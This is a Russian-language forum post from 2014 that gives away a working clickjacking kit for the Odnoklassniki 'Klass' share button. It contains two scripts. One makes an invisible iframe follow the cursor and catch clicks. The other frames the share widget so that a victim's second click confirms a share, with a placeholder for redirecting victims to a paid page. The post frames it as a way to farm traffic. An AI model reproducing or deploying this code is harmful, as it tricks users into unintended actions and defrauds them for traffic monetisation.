+ Ответить в теме
Показано с 1 по 1 из 1

Тема: Кнопка класс без всплывающего окна, бери бесплатно тут!

  1. #1

    Кнопка класс без всплывающего окна, бери бесплатно тут!

    Наверное многих оды обломили, когда включили всплывающее окно, после клика на кнопку класс, а потом еще и редиректы нам обломили, встречайте, эта кнопка класс активируется после второго клика на него почти в 90% случаев, зато окошка нету!

    Это скрипт примера такой страницы:

    Код:
    <html>
        <head>
            <title>OK</title>
            <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
        </head>
        <body>
            <div class="iframetrack" id="klass" bannerid='yyy' style="position: absolute; opacity: 1;"><iframe id="klassss" onload="readyklass();" src="/klass.php?url=ССЫЛКА_КОТОРУЮ_НУЖНО_КЛАССИТЬ" marginwidth="0" marginheight="0" vspace="0" hspace="0" frameborder="0" allowtransparency="true" scrolling="no" style="display: none; border:none;margin:0;padding:0;width:100px;height:26px;"></iframe></div>
            <script type="text/javascript">
            function readyklass() {
                window.focus();
                var klassss = document.getElementById("klassss");
                klassss.style.display = 'block';
                var overiFrame = -1;
                $('iframe').hover( function() {
                    overiFrame = $(this).closest('.iframetrack').attr('bannerid');
                }, function() {
                    overiFrame = -1
                });
                 $(window).blur( function() {
                    if( overiFrame != -1 )
                        klassss.contentWindow.vverx();
                });
            }
    
            $(document).ready(function(){
                $(window).mousemove(function (pos) {
                    $("#klass").css('left',(pos.pageX-50)+'px').css('top',(pos.pageY-15)+'px');
                });
            });
            </script>
        </body>
    </html>
    А это скрипт класса: (klass.php)

    Код:
    <?php
    $url = urlencode($_GET['url'].'#'.  rand(1, 100));
    ?>
    <html>
    
    <head>
        <title>ok</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <script type="text/javascript" src="//code.internetrange.com/jquery-1.11.0.js"></script>
    </head>
    
    <body marginwidth="0" marginheight="0" style="margin: 0px; padding: 0px; border: none;">
        <script type="text/javascript">
            function vverx() {
                document.getElementById("sess_wrp_clk").style.top = '-60px';
            }
    		
    		function listenForShare() {
    			if (window.addEventListener) {
    				window.addEventListener('message', onShare, false);
    			} else {
    				window.attachEvent('onmessage', onShare);
    			}
    		}
    		
    		function onShare(e) {
    			var args = e.data.split("$");
    			if (args[0] == "ok_shared") {
    				// сюда вставь редирект на платник
    			}
    		}
    		listenForShare();
        </script>
        <div id="sess_wrp" style="margin:0;padding:0;border:none;width:150px;height:150px;position:relative;top:0;overflow:hidden;">
            <div id="sess_wrp_ok" style="border:none;position:relative;top:-36px;">
                <iframe id="__okShare0" scrolling="no" frameborder="0" src="http://connect.odnoklassniki.ru/dk?st.cmd=WidgetShare&amp;st.shareUrl=<?php echo $url; ?>&amp;st.fid=__okShare0&amp;st.hoster=<?php echo $url; ?>&amp;st.settings=%7Bwidth%3A100%2Cheight%3A100%2Cst%3A%27oval%27%2Csz%3A100%2Cnt%3A1%2Cnc%3A1%7D" style="border: 0px; width: 101px; height: 100px;"></iframe>
            </div>
            <iframe id="sess_wrp_clk" style="border:none;width:650px;height:200px;z-index:10;position:absolute;left:-28px;top:70px" scrolling="no" frameborder="no" name="ShareConfirm" src="http://connect.odnoklassniki.ru/error404"></iframe>
        </div>
    </body>
    
    </html>
    P.S. Все бегом за трафом!
    Последний раз редактировалось eriko; 30.08.2014 в 13:06.

+ Ответить в теме

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения